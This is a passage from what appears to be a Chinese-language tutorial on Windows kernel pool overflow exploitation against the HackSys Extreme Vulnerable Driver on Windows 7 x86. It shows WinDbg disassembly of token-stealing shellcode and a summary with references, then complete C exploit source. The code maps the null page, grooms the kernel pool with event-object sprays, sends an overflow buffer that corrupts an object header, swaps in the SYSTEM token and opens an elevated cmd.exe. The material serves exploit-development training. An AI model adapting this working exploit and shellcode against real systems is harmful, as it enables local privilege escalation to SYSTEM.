00000030  00000000 00000000 00000000 00000000

00000040  00000000 00000000 00000000 00000000

00000050  00000000 00000000 00000000 00000000

00000060  000d0000 00000000 00000000 00000000

00000070  00000000 00000000 00000000 00000000

 

0地址的0x60偏移处,是我们的shellcode地址。

kd> uf 000d0000

000d0000 90              nop

000d0001 90              nop

000d0002 90              nop

000d0003 90              nop

000d0004 60              pushad

000d0005 64a124010000    mov     eax,dword ptr fs:[00000124h]

000d000b 8b4050          mov     eax,dword ptr [eax+50h]

000d000e 89c1            mov     ecx,eax

000d0010 8b98f8000000    mov     ebx,dword ptr [eax+0F8h]

000d0016 ba04000000      mov     edx,4

000d001b 8b80b8000000    mov     eax,dword ptr [eax+0B8h]

000d0021 2db8000000      sub     eax,0B8h

000d0026 3990b4000000    cmp     dword ptr [eax+0B4h],edx

000d002c 75ed            jne     000d001b  Branch

000d002e 8b90f8000000    mov     edx,dword ptr [eax+0F8h]

000d0034 8991f8000000    mov     dword ptr [ecx+0F8h],edx

000d003a 61              popad

000d003b c21000          ret     10h

 

Shellcode的目的就是把当前进程的token值替换为system的token,

后面这个ret     10h, ret后面的值要根据实际情况稍作判断。

贴张运行成功的截图

 

总结

本文并没有涉及太多内核池的结构,管理相关信息,如果想做更深入的研究,这些是必不可少的知识,务必相当熟悉。还有学习时,不要只看,认为自己看懂了就行了,一定要多调试、跟踪。

 

参考

Window内核利用教程4池风水 -> 池溢出

https://bbs.pediy.com/thread-223719.htm

Windows exploit开发系列教程第十六部分:内核利用程序之池溢出

https://bbs.pediy.com/thread-225182.htm

Windows kernel pool 初探

https://www.cnblogs.com/flycat-2016/p/5449738.html

 

附:利用代码:

#include <stdio.h>

#include <Windows.h>



#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)





// Windows 7 SP1 x86 Offsets

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread

#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process

#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId

#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink

#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token

#define SYSTEM_PID         0x004  // SYSTEM Process PID



#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"



#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW                   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)







typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE     ProcessHandle,

    IN OUT PVOID  *BaseAddress,

    IN ULONG      ZeroBits,

    IN OUT PULONG AllocationSize,

    IN ULONG      AllocationType,

    IN ULONG      Protect);





NtAllocateVirtualMemory_t     NtAllocateVirtualMemory;







BOOL MapNullPage() {



    HMODULE hNtdll;

    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host

                                           // page size address boundary -> 0x2000



    PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host

                                           // page size address boundary -> 0x00000000

    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;



    hNtdll = GetModuleHandle("ntdll.dll");



    // Grab the address of NtAllocateVirtualMemory

    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");



    if (!NtAllocateVirtualMemory) {

        printf("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());

        exit(EXIT_FAILURE);

    }



    // Allocate the Virtual memory

    NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,

        &BaseAddress,

        0,

        &RegionSize,

        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

        PAGE_EXECUTE_READWRITE);



    if (NtStatus != STATUS_SUCCESS) {

        printf("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);

        exit(EXIT_FAILURE);

    }

    else {

        printf("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);

        printf("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);

    }



    FreeLibrary(hNtdll);



    return TRUE;

}



char shellcode[] =

"\x90\x90\x90\x90"              //# NOP Sled

"\x60"                          //# pushad

"\x64\xA1\x24\x01\x00\x00"      //# mov eax, fs:[KTHREAD_OFFSET]

"\x8B\x40\x50"                  //# mov eax, [eax + EPROCESS_OFFSET]

"\x89\xC1"                      //# mov ecx, eax(Current _EPROCESS structure)

"\x8B\x98\xF8\x00\x00\x00"      //# mov ebx, [eax + TOKEN_OFFSET]

"\xBA\x04\x00\x00\x00"          //# mov edx, 4 (SYSTEM PID)

"\x8B\x80\xB8\x00\x00\x00"      //# mov eax, [eax + FLINK_OFFSET]

"\x2D\xB8\x00\x00\x00"          //# sub eax, FLINK_OFFSET

"\x39\x90\xB4\x00\x00\x00"      //# cmp[eax + PID_OFFSET], edx

"\x75\xED"                      //# jnz

"\x8B\x90\xF8\x00\x00\x00"      //# mov edx, [eax + TOKEN_OFFSET]

"\x89\x91\xF8\x00\x00\x00"      //# mov[ecx + TOKEN_OFFSET], edx

"\x61"                          //# popad

"\xC2\x10\x00";                 //# ret 16



void xxCreateCmdLineProcess()

{

    STARTUPINFO si;

    PROCESS_INFORMATION pi;

    memset(&si, 0, sizeof(si));

    memset(&pi, 0, sizeof(pi));



    si.cb = sizeof(si);

    si.dwFlags = STARTF_USESHOWWINDOW;

    si.wShowWindow = SW_SHOW;

    char szCommandLine[50] = "cmd.exe";

    // 创建cmd子进程;

    BOOL bReturn = CreateProcess(NULL,

        szCommandLine,

        NULL,

        NULL,

        FALSE,

        CREATE_NEW_CONSOLE,

        NULL,

        NULL,

        &si,

        &pi);



    if (bReturn)

    {

        //不使用的句柄最好关掉;

        printf("process id: %d\n", pi.dwProcessId);

        printf("thread id: %d\n", pi.dwThreadId);

        //WaitForSingleObject(pi.hProcess, INFINITE);

        //CloseHandle(pi.hThread);

        //CloseHandle(pi.hProcess);

    }

    else

    {

        //如果创建进程失败,查看错误码;

        DWORD dwErrCode = GetLastError();

        printf("ErrCode : %d\n", dwErrCode);

    }

}



HANDLE GetDeviceHandle(LPCSTR FileName) {

    HANDLE hFile = NULL;



    hFile = CreateFile(FileName,

        GENERIC_READ | GENERIC_WRITE,

        FILE_SHARE_READ | FILE_SHARE_WRITE,

        NULL,

        OPEN_EXISTING,

        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,

        NULL);



    return hFile;

}



DWORD WINAPI PoolOverflowThread(LPVOID Parameter) {

    ULONG BytesReturned;

    HANDLE hFile = NULL;

    PVOID Memory = NULL;

    LPCSTR FileName = (LPCSTR)DEVICE_NAME;



    // Get the device handle

    printf("\t[+] Getting Device Driver Handle\n");

    printf("\t\t[+] Device Name: %s\n", FileName);



    hFile = GetDeviceHandle(FileName);



    if (hFile == INVALID_HANDLE_VALUE) {

        printf("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());

        exit(EXIT_FAILURE);

    }

    else {

        printf("\t\t[+] Device Handle: 0x%X\n", hFile);

    }



    printf("\t[+] Triggering Pool Overflow\n");



    OutputDebugString("****************Kernel Mode****************\n");





    if (!MapNullPage()) {

        printf("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());

        exit(EXIT_FAILURE);

    }



    // Set the DeleteProcedure to the address of our payload

    int shellcode_len = sizeof(shellcode);

    char *pShellcodeBuf = (char*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);





    printf("ShellCode = %x\n", pShellcodeBuf);

    *(PULONG)0x00000060 = (ULONG)pShellcodeBuf;



    //heap spray

    HANDLE spray_event1[10000] = { NULL };

    HANDLE spray_event2[5000] = { NULL };



    for (int i = 0; i < 10000; i++)

    {

        spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);

    }



    for (int j = 0; j < 5000; j++)

    {

        spray_event2[j] = CreateEventA(NULL, FALSE, FALSE, NULL);

    }

   

    for (int i = 5000-1; i >= 4989; i--)

    {

        printf("%x\n", spray_event2[i]);

    }



    //制造堆喷区空洞, 目的使我们的数据分配到空洞上;

    for (int i = 0; i < 5000; i = i + 16)

    {

        for (int j = 0; j < 8; j++)

        {

            //一个event对象大小0x40,  0x200的空间需要8个event对象;

            CloseHandle(spray_event2[i + j]);

        }

    }



    //构造数据,覆盖_OBJECT_HEADER偏移+0x00c的值覆盖为0,

    char junk_buffer[504] = { 0x41 };

    memset(junk_buffer, 0x41, 504);

    char overwritedata[41] =

        "\x40\x00\x08\x04"

        "\x45\x76\x65\xee"

        "\x00\x00\x00\x00"

        "\x40\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x01\x00\x00\x00"

        "\x01\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x00\x00\x08\x00";



    char UserModeBuffer[504 + 40 + 1] = {0};

    int UserModeBufferSize = 504 + 40;

    memcpy(UserModeBuffer, junk_buffer, 504);

    memcpy(UserModeBuffer + 504, overwritedata, 40);



    DeviceIoControl(hFile,

        HACKSYS_EVD_IOCTL_POOL_OVERFLOW,

        (LPVOID)UserModeBuffer,

        (DWORD)UserModeBufferSize,

        NULL,

        0,

        &BytesReturned,

        NULL);



    OutputDebugString("****************Kernel Mode****************\n");



    printf("\t\t[+] Triggering Payload\n");



    printf("\t\t\t[+] Freeing Event Objects\n");



    //这个spray_event1释放循环目前来看,好像不是必须的;

    for (int i = 0; i < 10000; i++)

    {

        CloseHandle(spray_event1[i]);

    }



    //这里i不能从0开始,因为i从0开始的chunk都是我们已经释放的;

    //我们的数据在其中的连续8个chunk上,而被覆盖chunk在释放的chunk后面;

    //所以这里i从8开始;

    for (int i = 8; i < 5000; i = i + 16)

    {

        for (int j = 0; j < 8; j++)

        {

            CloseHandle(spray_event2[i + j]);

        }

    }



    //这里i从0开始,并不能出现想要的结果,反而会造成蓝屏;

    //for (int i = 0; i < 5000; i = i + 16)

    //{

    //  for (int j = 0; j < 8; j++)

    //  {

    //      CloseHandle(spray_event2[i + j]);

    //  }

    //}



    //这样循环也是有可能成功的,当然也可能出现异常情况,比如说,这里面有之前被释放过的chunk,如果被别的程序使用了(重新申请);

    //我们这里强制释放其他程序的chunk,可能造成不可预估的后果;

    //for (int i = 0; i < 5000; i++)

    //{

    //  if (!CloseHandle(spray_event2[i]))

    //  {

    //      printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());

    //  }

    //}

    return EXIT_SUCCESS;

}





int main(int argc, char *argv[])

{

    //printf("hello world\n");

    PoolOverflowThread(NULL);

    printf("start to cmd...\n");

    xxCreateCmdLineProcess();

    return 1;

}
源链接

Hacking more

...